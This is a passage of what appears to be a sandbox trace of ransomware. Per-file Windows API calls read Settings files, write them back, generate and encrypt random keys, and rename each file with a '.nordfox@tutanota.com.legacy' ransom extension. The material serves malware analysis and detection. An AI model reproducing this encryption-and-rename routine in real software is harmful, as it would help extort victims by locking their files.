lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.258] CloseHandle (hObject=0x1c24) returned 1 [0197.258] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_FourFingerTapEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_fourfingertapenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_FourFingerTapEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_fourfingertapenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.260] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableVisualFeedbackPM.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.261] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x51c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x51c, lpOverlapped=0x0) returned 1 [0197.272] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.272] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x51c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x51c, lpOverlapped=0x0) returned 1 [0197.272] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x51c [0197.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.273] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.273] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.273] CloseHandle (hObject=0x1c24) returned 1 [0197.273] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableVisualFeedbackPM.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enablevisualfeedbackpm.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableVisualFeedbackPM.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enablevisualfeedbackpm.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.278] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.279] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.279] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableVisualFeedback.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.279] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x512, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x512, lpOverlapped=0x0) returned 1 [0197.280] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1298, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.280] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x512, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x512, lpOverlapped=0x0) returned 1 [0197.280] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x512 [0197.280] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.281] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.281] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.281] CloseHandle (hObject=0x1c24) returned 1 [0197.281] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableVisualFeedback.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enablevisualfeedback.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableVisualFeedback.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enablevisualfeedback.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.283] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableTouchPad.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.284] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f6, lpOverlapped=0x0) returned 1 [0197.287] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.287] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f6, lpOverlapped=0x0) returned 1 [0197.288] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f6 [0197.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.288] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.289] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.289] CloseHandle (hObject=0x1c24) returned 1 [0197.289] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableTouchPad.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enabletouchpad.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableTouchPad.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enabletouchpad.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableEdgeGesture.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.341] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x505, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x505, lpOverlapped=0x0) returned 1 [0197.342] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1285, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.342] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x505, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x505, lpOverlapped=0x0) returned 1 [0197.343] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x505 [0197.343] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.343] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.343] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.343] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.344] CloseHandle (hObject=0x1c24) returned 1 [0197.344] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableEdgeGesture.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enableedgegesture.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_EnableEdgeGesture.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_enableedgegesture.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.346] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_CursorSpeed.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.346] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e7, lpOverlapped=0x0) returned 1 [0197.355] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.355] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e7, lpOverlapped=0x0) returned 1 [0197.356] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e7 [0197.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.357] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.357] CloseHandle (hObject=0x1c24) returned 1 [0197.357] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_CursorSpeed.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_cursorspeed.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_CursorSpeed.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_cursorspeed.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.359] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Mouse_SetScrollPage.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.359] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f11d0, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f11d0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0197.360] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.361] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f3000*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0197.361] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ee [0197.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.361] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.361] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.362] CloseHandle (hObject=0x1c24) returned 1 [0197.362] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Mouse_SetScrollPage.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_mouse_setscrollpage.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Mouse_SetScrollPage.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_mouse_setscrollpage.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Mouse_SetButtonConfiguration.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.366] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x51b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x51b, lpOverlapped=0x0) returned 1 [0197.376] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1307, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.376] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x51b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x51b, lpOverlapped=0x0) returned 1 [0197.376] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x51b [0197.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.377] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.377] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.378] CloseHandle (hObject=0x1c24) returned 1 [0197.378] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Mouse_SetButtonConfiguration.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_mouse_setbuttonconfiguration.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Mouse_SetButtonConfiguration.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_mouse_setbuttonconfiguration.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.380] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Orientation.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.380] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 